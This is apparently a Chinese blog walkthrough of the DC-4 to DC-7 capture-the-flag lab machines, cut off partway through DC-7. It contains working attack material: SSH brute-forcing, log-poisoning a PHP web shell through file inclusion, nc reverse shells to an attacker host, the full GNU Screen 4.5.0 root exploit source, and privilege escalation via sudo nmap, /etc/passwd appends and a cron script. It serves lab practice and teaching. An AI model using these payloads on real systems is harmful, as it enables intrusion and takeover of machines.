输入ls+-a+/home/charles

image-20220918211049263

感觉没啥有用的信息

再看看jim

输入ls+-a+/home/jim

image-20220918211159526

发现关键信息, backups目录和mbox目录,test.sh里面我看了,没啥有用的信息

先看backups目录

输入ls+-a+/home/jim/backups

image-20220918211855793

发现有个old-passwords.bak,这个可能就是登录这三个用户的关键

查看一下内容

输入cat+/home/jim/old-passwords.bak

image-20220918212107439

发现是一个密码表,复制到一个文本文件,当作爆破的密码表

hydra对三用户进行ssh爆破

我们已经有了密码表(pd.txt),我们再把三个用户名写到另一个文档里(un.txt)

因为之前我们扫描知道,22端口运行着ssh,而80端口我们已经访问了,所以下面端口写22

于是

输入hydra -L un.txt -P pd.txt 192.168.133.141 ssh -s 22

有点久,等一会就行

image-20220918214254623

得到jim用户的密码

jibril04

然后我们登录ssh

输入ssh jim@192.168.133.141 -p 22

然后输入密码后,登录成功

image-20220918214519470

我们先看看我们能否执行一些管理员命令

输入sudo -l

image-20220918215754640

发现jim用户不能执行任何管理员命令,所以不可能在jim用户上进行提权或其他后续操作

我们仔细一些可以看到

image-20220918214603182

说我们有一封邮件,那我们就看看这封用邮件是什么

但我们不知道mail在哪里

输入find / -name mail

image-20220918215012745

找到位置/var/mail

输入cd /var/mail;ls -a

image-20220918215052934

发现有一封名为jim的邮件,查看信息

输入cat jim

image-20220918215204901

发现是charles发给jim的邮件

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.

Password is: ^xHhA&hvim0y

See ya,
Charles

翻译:
嗨,吉姆,

我今天年底要放假,所以老板让我把密码给你,以防万一。

密码是:^xHhA&hvim0y

再见,
查尔斯

信里提到他自己的密码

^xHhA&hvim0y

于是我们就可以登录charles的账号,所以我们切换用户

输入su charles

然后输入密码后,登录成功

image-20220918215532470

先看看charles能执行什么管理员命令

输入sudo -l

image-20220918220005178

发现charles可以执行管理员的teehee命令

teehee

我们先需要知道这个命令是干什么的

输入teehee -h

image-20220918220336958

发现它是可以修改文件的数据,-a指令能够保证修改文件不会覆盖原有文件

那我们需要管理员权限,就可以在/etc/passwd里面添加一个管理员用户数据

添加管理员账户

输入sudo teehee -a /etc/passwd

image-20220918221258918

然后就等待我们输入数据

image-20220918220824224

按照root用户格式,我们添加自己的数据

输入
ttoc:(这里是密码,可以加入自己的哈希后的密码,当然不加就可以直接登录,这里我不加,忽略):0:0:root:/root:/bin/bash

image-20220918221714606

添加成功,我们再看看能不能登录,是不是管理员

image-20220918221800576

发现是管理员,直接到root目录下,查看 flag即可

image-20220918221943297

1
2
3
4
5
6
7
8
888       888          888 888      8888888b.                             888 888 888 888 
888 o 888 888 888 888 "Y88b 888 888 888 888
888 d8b 888 888 888 888 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888
888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888
88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P
8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " "
888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888

Congratulations!!!

Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.

意思是
恭喜!!!

希望你喜欢 DC-4。只是想向所有这些人表示衷心的感谢
谁提供了反馈,谁花时间完成了这些小事
挑战。

如果你喜欢这个 CTF,请通过@DCAU7 给我发一条推文。

一个旗子找完,游戏结束


五、DC-5[高级]

only one flag

信息收集

官方文档里有一些提示说明,我们可以先看一下

As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide soKme kind of idea as to what the vulnerability might involve.

And just for the record, there is no phpmailer exploit involved. :-)
翻译:
据我所知,只有一个可利用的入口点可以进入(也没有 SSH)。这个特定的入口点可能很难识别,但它就在那里。您需要寻找一些与众不同的东西(随着页面的刷新而改变的东西)。这有望为漏洞可能涉及的内容提供某种想法。

只是为了记录,没有涉及 phpmailer 漏洞利用。:-)

==>大致关键的信息就是,在我们刷新网页的时候有的东西会发生改变,对应某种漏洞

养成习惯,先顺手用nmap扫一下靶机端口运行的服务信息

image-20220923214221504

发现80端口正常运行着http54235端口打开


我们访问192.168.133.143

先习惯看看Wappalyzer基本信息

image-20220930190721316

发现Web serverNginx

发现有5个窗口

image-20220930190329914

挨个访问,看看有没有可以利用或者交互的地方

image-20220930185231350

image-20220930191004048

发现Concat窗口下有个输入框,可以实现交互效果,我们乱输入一些数据先试试

看看变化

image-20220930191023866

发现url在提交时发生的跳转,并且显示了一些信息

1
http://192.168.133.143/thankyou.php?firstname=1&lastname=2&country=australia&subject=123

看得出来,网站跳转到了thankyou.php,而且我们输入的信息也被以明文方式显示出来了

那怎么利用呢?

我们想起之前作者给的提示,说刷新的时候会发生变化,我们刷新看看

image-20220930191944460

image-20220930191958402

对比两个图可以发现,底下的年份时间发生了改变,刷新一次,增加一年

这个肯定是有用的,但是怎么利用还是不知道

我们先要了解这个变化肯定是有文件来调用的,而我们肯定是可以访问这个文件的,那我们就需要再次针对性的进行信息收集

用经典的dirsearch来扫一下

image-20220930193121068

除去我们已经访问过的文件和响应码403的,发现有一个叫做footer.php文件,刚好和我们的发现变化的那个地方一致,也是底部文本变化

1
http://192.168.133.143/footer.php

image-20220930193446746

发现果然是我们发现变化的那个地方,而且我们刷新时,也会同时变化


文件包含

所以按上面我们推到的思路,和信息的收集,

concat.php的底部为了显示和footer.php的实现功能,肯定是实现了文件包含,

concat.phpfooter.php文件包含了

==>我们渗透的基础思路就变成了利用的文件包含 拿到shell

1.验证我们的想法

【文件包含注入点可控参数名一般为file,当然如果出现怎么都不行的,那就可以用爆破**(fuzz)**或者我们的思路错误了】

我们先试试能不能包含index.php

1
http://192.168.133.143/thankyou.php?file=index.php

image-20220930194734246

发现index.php确实被我们成功包含了,那我们就可以肯定我们的思路是没有偏离了

2.利用文件包含拿shell

既然能够在thank.php里实现文件包含,那我们就试试能不能包含一些敏感文件,来获取更多信息

1)向Nginx错误日志导入一句话🐎

根据我们之前收集的信息,

image-20220930190721316

发现Web serverNginx

Nginx访问日志:网站访问者有关的活动都记录在访问日志 //access_log

Nginx错误日志:当访问错误的时候,会把错误参数保存在其中 //error_log

所以我们在我们的

url/?file= 的后面加上一句话🐎,
然后因为访问错误,错误参数【一句话🐎】就会到nginx的错误日志中,
然后利用我们发现的文件包含把错误日记包含在thankyou.php文件中,
访问拿到shell,拿到shell

nginx配置文件位置:**/etc/nginx/nginx.conf**

我们包含该文件看看nginx的错误日志文件位置在哪里

image-20220930212030059

看到文件位置

error_log:/var/log/nginx/error.log

先输入一句话🐎,报错导入nginx错误日志


key:如果直接在网页输入一句话🐎导入错误日志是有问题的

当我们访问http://192.168.133.143/thankyou.php?file=<?php system($_GET['cmd']); ?>

虽然确实把这个信息导入到了 /var/log/nginx/error.log 文件里

但是前端似乎存在过滤,会把<>和’’或””,替换成其他符号,所以当我们想要利用

http://192.168.133.143/thankyou.php?file=/var/log/nginx/error.log&cmd=ls

这样想利用我们导入的木马拿到shell的时候,实际上我们的木马已经被破坏了,所以根本不能执行我们想要的一系列命令,所以用抓包burp直接发送到服务器,绕过前端过滤先,这样我们的一句话🐎才能发挥它的作用


所以我们执行抓包操作

image-20221001221200987

没有其他回显内容

image-20221001221849004

我们在文件包含/var/log/nginx/error.log,并利用cmd参数执行ls试试,看看是否真的把我们的木马包含进去了

image-20221001222035413

发现确实成功包含进去了,而且还可以执行命令

那我们直接用nc命令反弹shell

2)nc命令反弹shell

先在kali控制台执行nc监听8888端口

1
nc -l -vv -p 8888

image-20221001223417288

然后网页浏览

http://192.168.133.144/thankyou.php?file=/var/log/nginx/error.log&cmd=nc%20-nv%20192.168.133.140%208888%20-e%20/bin/bash

//192.168.133.140是虚拟机ip,不是靶机ip

image-20221001223100801

返回控制台查看

image-20221001223320410

进入shell

然后标准姿势,进入交互式shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

image-20221001223408282

*获得稳定的shell

【不会因为ctrl+c退出,而且可以按上下键,返回之前的命令】

先在shell,用Ctrl-Z将shell放到后台


stty raw -echo && fg ; reset

nc -l -vv -p 8888 //这个不用输入,是自动执行后台的命令返回到前台

//stty 设置终端端口设备的接口选项

//echo 表示回显,比如当-echo时,输入ls后按回车,仍然会看到ls

//fg把shell提到前台来

//reset表示重启终端,此时的终端为我们靶机的shell窗口,所以不容易被退出或者中断

image-20221002145951718

成功获得全交互式shell

3.提权

拿到shell以后,我们权限明显是不够的,所以我们需要垂直提权,拿到最高权限

先看看存不存在suid方式提权

1
find / -perm -u=s -type f 2>/dev/null

image-20221001223927542

似乎没啥可以利用提权的点,但是有个

image-20221001224134569

1
/bin/screen-4.5.0

看起来有点陌生,我们百度/google就要利用起来了

GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。

用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。

GNU Screen可以看作是窗口管理器的命令行界面版本。

它提供了统一的管理多个会话的界面和相应的功能。

看来是属于suid当中的漏洞脚本提权,那脚本怎么找呢

1)searchsploit找提权脚本文件

我们可以使用searchsploit搜索软件相关漏洞有没有可以利用的脚本,而且它的版本号也写出来了

image-20221001224602898

发现有两个文件,一个sh脚本文件,一个txt文本的(POC)

看到有sh脚本文件路径,先查看其内容是什么,看看能不能利用

image-20221001224718080

发现是个c语言脚本

image-20221001224923228

看来我们找的是正确的,我们分析一下该脚本文件,看看怎么利用其来提权

仔细看其实这里面有两个C语言脚本

EOF为文结束符号】

而且需要保存到两个c文件中去
libhax.c
rootshell.c

然后用gcc命令
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c

对两个c文件进行编译,从而生成
libhax.so
rootshell

然后在把两个c文件和两个编译后生成的文件传入靶机后

在靶机shell挨个执行后面的命令,从而拿到root权限

echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... /tmp/rootshell

上半部分

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}

image-20221002124640256

下半部分

1
2
3
4
5
6
7
8
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}

image-20221002124701995

==>

我们需要在靶机的/tmp目录下,传入

libhax.so
rootshell
flag.sh //内容为后面的命令内容

这三个文件

我们先在自己的kali机上把这两个文件准备好

我们也可以先到我们kali机的/tmp目录下

先执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c

image-20221002124843966

再执行

1
2
3
4
5
6
7
8
9
10
11
12
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c

image-20221002124900295

【虽然会报错,但是是正常的,不影响编译后产生的文件的执行】

执行后

libhax.so rootshell
这两个文件就生成了

然后我们的flag.sh

1
2
3
4
5
6
7
8
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

image-20221002134454968

2)nc向靶机传入脚本提权文件

当然如果你用蚁剑连接的shell的话,直接把文件拖进去就行,简单一点

如果用nc的话当然也不难

先是kali机控制台【目前状态为/tmp下】

nc -lvp 8888 < libhax.so // < 表示传入

image-20221001233201455

靶机shell【必须在/tmp目录下才能执行nc】

cd /tmp
nc 192.168.133.140 8888 > libhax.so //>表示传出接收文件,192.168.133.140为kali机ip

image-20221001233223666

看到传入成功

rootshellflag.sh文件类似,不再展示

最后成功传入

image-20221002132325197

3)执行脚本进行提权


传入完成后,给flag.sh加上执行权限

1
chmod +x flag.sh

然后执行即可

1
./flag.sh

*出现意外

image-20221002173352619

不知道有没有朋友也遇到这种报错

最后一步执行rootshell的时候,弹出这个命令,我搜索了一下,猜测是不是c语言脚本写错了,但是仔细检查并没有出错

然后我们看了看我们的kali靶机的gcc版本

发现

kali机是:11.3.0-1

靶机是:4.9.2

但是编译器不同对结果应该没什么太大影响

但我还是试试能不能在靶机的shell里执行gcc,运行两个c语言脚本文件,得到rootshelllibhax.so文件

但是又出现

image-20221002210307317

原来是缺少环境变量,导致无法执行

cc1配置环境变量

image-20221002205950588

1
2
3
4
5
locate cc1

PATH="$PATH":/usr/lib/gcc/x86_64-linux-gnu/4.9/cc1

export PATH

然后我们从简,直接在靶机shell执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
1
2
3
4
5
6
7
8
9
10
11
12
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c

成功执行

image-20221002210611503

关键来了【期待】

我们执行我们的flag.sh脚本【这里是重复的flag.sh,所以名字为flag.sh.1

image-20221002211351948


终于解决问题后【卡了一天了】

终于成功提权

image-20221002211423172

/root目录下

拿到flag

image-20221002211550887

1
2
3
4
5
6
7
8
888b    888 d8b                                                      888      888 888 888 
8888b 888 Y8P 888 888 888 888
88888b 888 888 888 888 888
888Y88b 888 888 .d8888b .d88b. 888 888 888 .d88b. 888d888 888 888 888 888 888
888 Y88b888 888 d88P" d8P Y8b 888 888 888 d88""88b 888P" 888 .88P 888 888 888
888 Y88888 888 888 88888888 888 888 888 888 888 888 888888K Y8P Y8P Y8P
888 Y8888 888 Y88b. Y8b. Y88b 888 d88P Y88..88P 888 888 "88b " " "
888 Y888 888 "Y8888P "Y8888 "Y8888888P" "Y88P" 888 888 888 888 888 888

Once again, a big thanks to all those who do these little challenges,
and especially all those who give me feedback - again, it's all greatly
appreciated. :-)

I also want to send a big thanks to all those who find the vulnerabilities
and create the exploits that make these challenges possible.

翻译:

再次非常感谢所有完成这些小挑战的人,
尤其是所有给我反馈的人——再一次,这一切都很棒
赞赏。 :-)

我还要非常感谢所有发现漏洞的人
并创造使这些挑战成为可能的漏洞。

吐血了,果然是中级,顺便提醒一下大家,非必要不要更新

一个旗子找完,游戏结束【吐血了】


六、DC-6[中级]

only one flag

信息收集

先抬手nmap扫描一下

image-20221006214334035

发现
22端口:运行着ssh【默认端口】
80端口:运行着http【默认端口】

看来可能是需要ssh连接拿shell


这个靶机好像需要配置hosts文件,不然通过ip是访问不了网站的

image-20221006215651658

然后访问试试

好了【但是好像有点卡】

界面和DC2一样【梦回DC2,操作应该差不多】

image-20221006220758221


习惯看看wappalyzer

image-20221006221445685

看到CMSWordPress 5.1.1

想到可以利用一下这个版本的漏洞,拿到一些敏感信息


我们再看看网站上有没有可以利用的信息

about us里似乎全是文本内容没啥提示

看到有个concact us,可能有交互利用的地方

image-20221006222942930

虽然看起来没有但是其实是有的

通过concact us页面的url,在后面加上用户的名字就可以

http://xxx/admin

//当然其实并不太重要,不过可以试试看,能不能留言xss然后挟持管理员账户,不过这并不是实际情况,所以可以自己留言,然后登录看看


1.wpscan爆破出用户名【dc2里搞过】

看到wordpress先用wpscan搞一下

1
wpscan --url wordy -e u

image-20221006235057457

得到用户名

admin
mark
graham
sarah
jens

我们创建一个user.txt

哪在哪里登录呢?我们在开始页面并没有看到登录窗口

我们用dirb扫一下

1
dirb http://wordy

image-20221009231112282

1
http://wordy/wp-admin/

image-20221009231340911


2.wpscan爆破密码

我们再找一个密码表,这里用和DC2 cewl命令爬一下网站,看看能不能利用其中有没有密码

1
cewl wordy > pass.txt  

然后就得到一个密码【擦,难道和dc2一样的】

然后我们开始进行爆破登录【注意需要root权限】

1
wpscan --url wordy --usernames user.txt --passwords pass.txt                             

image-20221009231928764

结果肯定是不行的【肯定不和DC2一样】

==>

所以这里我们需要找一个完整的密码字典

需要用到wordpress的密码字典,kali自带rockyou.txt

由作者提示得【也就是把密码一部分告诉你了】

image-20221113171203270

wpscan --url http://wordy --usernames user.txt --passwords /usr/share/wordlists/rockyou.txt|grep k01 -t 5

//-t是添加线程数,默认是5,多加几个可以更快一些

如果直接跑的有点久了

。。。。。。。【睡了一晚上,不知道好久跑出来的】

【七千万密码】

image-20221010225451565

最后得到

image-20221010230354224

username:mark
password:helpdesk01

虽然只有一个用户但是够了


3.登录网站找信息

登录后发现是一个wordpress的后台网站

image-20221010231254865

在左侧我们发现了一个新的东西叫做

Activity monitor

是一款网站用户活动监控插件,我们用户登录的ip和其他信息都会被监控

//那么我们是不是可以试试找找这个插件有没有漏洞,从而通过这个漏洞拿到shell或者其他更高权限用户的信息

image-20221010231223449

image-20221010231622962

我们查一下

1
searchsploit activity monitor

image-20221010231725009

发现果然是有的,只是不知道能不能利用

我们主要找后面两个和wordpress相关的

45274.html是命令注入
50110.py是远程命令执行

1)50110.py【有问题,不建议用】

感觉py更方便一些,我们先查看内容

1
cat /usr/share/exploitdb/exploits/php/webapps/50110.py

image-20221010232311464

看来只需要ip,以及用户名密码即可进入shell

我们运行一下

1
python /usr/share/exploitdb/exploits/php/webapps/50110.py

然后我按我的输入

192.168.133.145
mark
helpdesk01

image-20221010232611030

进入shell


然后固定姿势,进入交互式shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

但是会报错

似乎不能使用python命令,一使用就退出shell

image-20221010233037169

那就看起来有点难受了,再试试能不能进入稳定shell


ctrl+z
然后执行
stty raw -echo ; fg ; reset

结果卡死了

算了算了,就这样看吧

【我这里把py脚本导入一个新的文件里(1.py),把我的ip,用户名,密码都写了进去,就不用退出了又重新输入了】


先退到主目录看看有几个用户

但是发现好像有点问题,似乎有的命令执行就和脚本冲突,那就用

image-20221010234544191

2)45274.html

那我们先不管它,我们还有一个命令注入的没有用,

我们先查看一下内容

1
cat /usr/share/exploitdb/exploits/php/webapps/45274.html

image-20221011113959660

我们把这个文件导入一个新文件中【1.html】

主要是修改这里的网站网址和监听本地ip,改成我们的wordykali机的ip

1
2
3
4
5
http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools

==>

http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools

image-20221011115438911

1
nc -nlvp 127.0.0.1   ==>   nc 192.168.133.140

image-20221011114105820

然后因为是html文件,我们可以直接用浏览器打开,

image-20221011114637014

当然也可以

1
python -m http.server 8008

然后以浏览器方式访问本地ip:8008,再打开里面1.html文件

image-20221011114825111

nc监听拿shell

然后我们发现有个

Submit request的按钮,看来是发送请求,然后nc反弹shell

注意监听端口是9999

image-20221011115108761

然后我们在浏览器点击一下Submit request

image-20221011122029894

连接到 shell

这个比脚本的那个就更加方便一下了,


固定姿势

1
python -c 'import pty; pty.spawn("/bin/bash")'

然后进入稳定式shell

ctrl+z
然后执行
stty raw -echo ; fg ; reset  

image-20221011122301709


然后开始找找有没有其他用户的密码信息

先到 /home 里查看一下,发现了除了admin其他三个用户目录

image-20221011122438174

我们先进我们登录成功的mark目录查看

image-20221011122638708

发现有个things-to-do.txt文本文件

查看内容

1
cat things-to-do.txt

image-20221011122741660

Things to do:

  • Restore full functionality for the hyperdrive (need to speak to Jens)
  • Buy present for Sarah's farewell party
  • Add new user: graham - GSo7isUM1D4 - done
  • Apply for the OSCP course
  • Buy new laptop for Sarah's replacement

意思是:

要做的事情:

  • 恢复超光速引擎的全部功能(需要与 Jens 交谈)
  • 为莎拉的告别派对购买礼物
  • 添加新用户:graham - GSo7isUM1D4 - 完成
  • 申请OSCP课程
  • 为莎拉购买新的笔记本电脑

//关键信息我们得到了graham用户的密码【我也想考OSCP,哭唧唧】

我们根据我们拿到graham的信息,登录ssh

【当然在原有shell里利用su命令切换用户graham也是可以的,但是ssh有颜色,看起来好看一些】

【因为之前就看到运行着ssh,没必要再在登录一次网站,反正不是最高权限】

ssh graham@192.168.133.145 -p 22 //靶机ip ssh运行端口
密码:GSo7isUM1D4

image-20221011123625279

然后我们看看我们有哪些命令可以执行

1
sudo -l

image-20221011124153885

看到是有jens目录下一个脚本文件的运行权限,而且不需要jens的密码,就可以他的身份下运行了【mark我试了的,没有权限】

以其他用户身份运行脚本,实现切换用户

我们先查看一下内容

1
cat /home/jens/backups.sh

image-20221011124824445

发现是执行一些命令,

但是我们的目的想获得jens的登录权限,我们在脚本文件中追加一些命令

1
echo "/bin/bash"  >> /home/jens/backups.sh

这样的话当我们以jens身份运行这个脚本时,当执行/bin/bash时,就算我们现在是graham,也会切换成jens,这也得益于可以nopasswd运行

sudo -u jens /home/jens/backups.sh

//注意哦,这里是需要以jens身份运行【毕竟他给了我们用他身份执行权限】才可以实现切换用户,如果直接运行还是graham用户,就如下图一样

image-20221011125910796

切换用户成功,

我们先看看jens有哪些命令可以执行

1
sudo -l

image-20221011130314044

终于,发现了root的,我们可以执行nmap命令【只有管理员可以】,那么如何拿到权限呢

4.nmap提权

1.旧版

nmap(2.02-5.21)存在交换模式,可利用提权

1
nmap --interactive

之后执行:

1
2
3
nmap> !sh
sh-3.2# whoami
root

msf中的模块为:

1
exploit/unix/local/setuid_nmap

2.新版

较新版可使用 --script 参数:

先写入一条命令
echo "os.execute('/bin/sh')" > getshell
再–script参数,执行
sudo nmap --script=getshell

查看一下靶机的nmap版本

7.4还是挺高的

image-20221011131514173

那我们写一个脚本,里面加上命令,再用新版nmap运行这个脚本

1
echo "os.execute('/bin/sh')" > getshell

注意哈,jens只有在~目录下才可以执行echo命令,不然是不可以的

image-20221011132114963

1
sudo nmap --script=getshell

image-20221011132315607

成功提权,然后我们查找flag【没输入回显有点小难受,但是不影响拿flag

image-20221011132507052

1
2
3
4
Yb        dP 888888 88     88         8888b.   dP"Yb  88b 88 888888 d8b 
Yb db dP 88__ 88 88 8I Yb dP Yb 88Yb88 88__ Y8P
YbdPYbdP 88"" 88 .o 88 .o 8I dY Yb dP 88 Y88 88"" `"'
YP YP 888888 88ood8 88ood8 8888Y" YbodP 88 Y8 888888 (8)

Congratulations!!!

Hope you enjoyed DC-6. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.

意思是:
恭喜!!!

希望你喜欢 DC-6。只是想向所有这些人表示衷心的感谢
谁提供了反馈,谁花时间完成了这些小事
挑战。

如果你喜欢这个 CTF,请通过@DCAU7 给我发一条推文。

一个旗子找完,游戏结束


七、DC-7[中级]

only one flag

hint:
While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.

What you will need to do, is to think "outside" of the box.

Waaaaaay "outside" of the box. :-)

虽然这是较早的 DC 版本的一种合乎逻辑的进展(我不会告诉你是哪一个),但其中涉及到一些新概念,但你需要自己弄清楚这些。:-) 如果您需要使用暴力破解或字典攻击,您可能不会成功。

您需要做的是跳出框框思考。

Waaaaaay“在盒子外面”。:-)

信息收集

nmap扫描查看开放端口

image-20221018195918528

发现运行着2280端口,22端口运行着ssh

先看看框架和语言

image-20221018194429569

CMSDrupal 8,看来这是关键【好家伙,DC1重现】

再顺手扫一下

image-20221018194353195

看到有一个登录窗口页面

image-20221018194531613

那我们就先想办法怎么获得一个用户的账号密码


1.跳出框架

这里我开始以为是思维的框架,结果是靶机的框架,我们需要用搜素工具,得到我们的信息,而不是死脑筋在靶机上苦苦找漏洞或者蛮用爆破

在实际的环境中,我们也是这样的,在网站之外获得网站的信息,这也是收集信息的一个重要的办法

image-20221018200526154

在网站的最底下我们发现了

1
@DC7USER

这应该是网站的搭建者,对于像这种小网站,一般可能是在一些平台,比如github上搭建、挂载的【比如我的博客】,所以在这些平台上,我们很有可能得到一些我们想要的敏感信息和文件

所以我们用bing查一下【国内搜索引擎很难搜到,谷歌要魔法,我写这DC7这几天不方便魔法,所以bing最好】

还真找到了

1
https://github.com/Dc7User/staffdb/blob/master/config.php

image-20221018201258802

1
2
3
4
5
6
7
8
| <?php |                                                              |
| ----- | ------------------------------------------------------------ |
| | $servername = "localhost"; |
| | $username = "dc7user"; |
| | $password = "MdR3xOgB7#dW"; |
| | $dbname = "Staff"; |
| | $conn = mysqli_connect($servername, $username, $password, $dbname); |
| | ?> |

得到账号和密码,以及数据库的名字,看来我们确实跳出了框架

我们利用账号密码在我们之前的网站登录一下试试

$username = “dc7user“;
$password = “MdR3xOgB7#dW“;

image-20221018201801467

结果报错,看来这个账号并不是在这个页面登录的

2.ssh登录

我们根据之前得到的信息知道,22端口运行着ssh,我们用其登录试试

$username = “dc7user“;
$password = “MdR3xOgB7#dW“;

image-20221018202130724

好家伙,果然是ssh的账号密码

我们来找找有没有什么有用的东西

1
ls

image-20221018202308173

我们先打开backups文件夹

image-20221018202658047

发现是两个.gpg文件

gpg文件
就是一个加密文件

而我们现在没有信息和密码,所以我们再看看另一个文件

返回上级目录
cat mbox

image-20221018203146128

发现是root用户命令执行的记录

发现了

Database dump saved to /home/dc7user/backups/website.sql
//数据库信息存入website.sql文件
//然后root执行了加密脚本加密数据库文件

image-20221018203403493

*定时任务【cron(crond)】

我们发现在root用户执行加密脚本之前有一个Cron

Cron发现是定时任务,代表过一段时间就执行一次,以来更新数据库备份文件【backups

这是个定时任务 用root 运行/opt/scripts/backups.sh

image-20221018203434313

*关键思路

查看下权限什么的,发现www-data拥有执行和写的权限,我们当前权限没有写权限,看来没办法动手脚了。

image-20221018234503615

但是如果我们获得了www-datashell 那就可以写点东西进去,然后依靠计划任务,用root去运行,然后反弹shell,那么我们可以获得了root权限的shell了。

3.drush命令对drupal修改用户名和密码

我们按路径查看该脚本内容

image-20221018203742731

我们发现果然是个加密数据库文件的脚本,但是我们仍然不知道密码

但是我们发现了数据库文件似乎被更改过

出现了一个新的命令

drush
//drush命令是在drupal框架中进行配置的命令,可以修改用户名和密码,
//但是drush必须在drupal安装目录下进行,所以我们可以按脚本给的
cd /var/www/html/

image-20221018204531647

cd /var/www/html
drush user-password admin:123456
//用户名admin和密码123456

image-20221018205540723

然后成功修改用户admin的密码为123456

image-20221018212431462

4.登录网站

当我们输入我们修改后的密码后,成功登录admin用户

image-20221018212905392

然后我们统合一下思路,我们进入了网站后,应该如何拿到shell,那肯定需要写木马或者反弹shell

那么我们就需要找到可以修改并增加php文件的的地方

我们先打开content页面,发现有开始.html页面

image-20221018212952593

点开查看

image-20221018215114742

发现可以修改内容,看来我们可以试试修改它,变成我们的木马文件

结果发现文件只能以html形式执行,而不能以php形式执行

image-20221018215830844

添加php执行插件

drupal框架可以添加php文件插件,从而能修改为php文件

image-20221018220115382

点击

1
install new module

image-20221018220912473

url里填写

1
https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz

然后install

image-20221018221952909

但是我这里显示无法连接网站,那我们直接上传插件文件也是可以的

image-20221018222047051

然后添加成功

image-20221018222109470

然后在FILTERS

启动插件【勾选】

image-20221018222451086

最后记得还要install

image-20221018222512620

然后我们的文件就可以以php文件形式执行了

加入一句话木马

image-20221018232816262

【记住Text foromat要改成PHP code

然后保存即可

5.蚁剑连接getshell

因为我们是在welcome页面里插入一句话木马,所以直接连接靶机ip就行

1
192.168.133.146

image-20221018232842168

连接成功

启动虚拟终端

image-20221018232923762

getshell

image-20221018233020910

6.反弹shell拿www-data

我们先开始监听9999端口

1
nc -lvvp 9999

image-20221018233321886

我们在蚁剑的shell

开始反弹shell

1
nc -e /bin/bash 192.168.133.140 9999

image-20221018233814670

然后拿到反弹shell

image-20221018233713840

进入交互式shell

1
python -c "import pty;pty.spawn('/bin/bash')"

image-20221018234804275

7.利用定时任务【cron】提权root

我们向 backups.sh写入反弹shell命令

1
echo "nc 192.168.133.140 12345 -e /bin/bash" >> /opt/scripts/backups.sh

image-20221018235007598

然后我们再开一个控制台开始监听12345端口

image-20221018235124023

然后我们等待定时任务执行,便可以拿到shell【时间有点久】

image-20221019000112748

连接成功后,到root目录查看flag

image-20221019123852041

1
2
3
4
5
6
7
8
888       888          888 888      8888888b.                             888 888 888 888 
888 o 888 888 888 888 "Y88b 888 888 888 888
888 d8b 888 888 888 888 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888
888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888
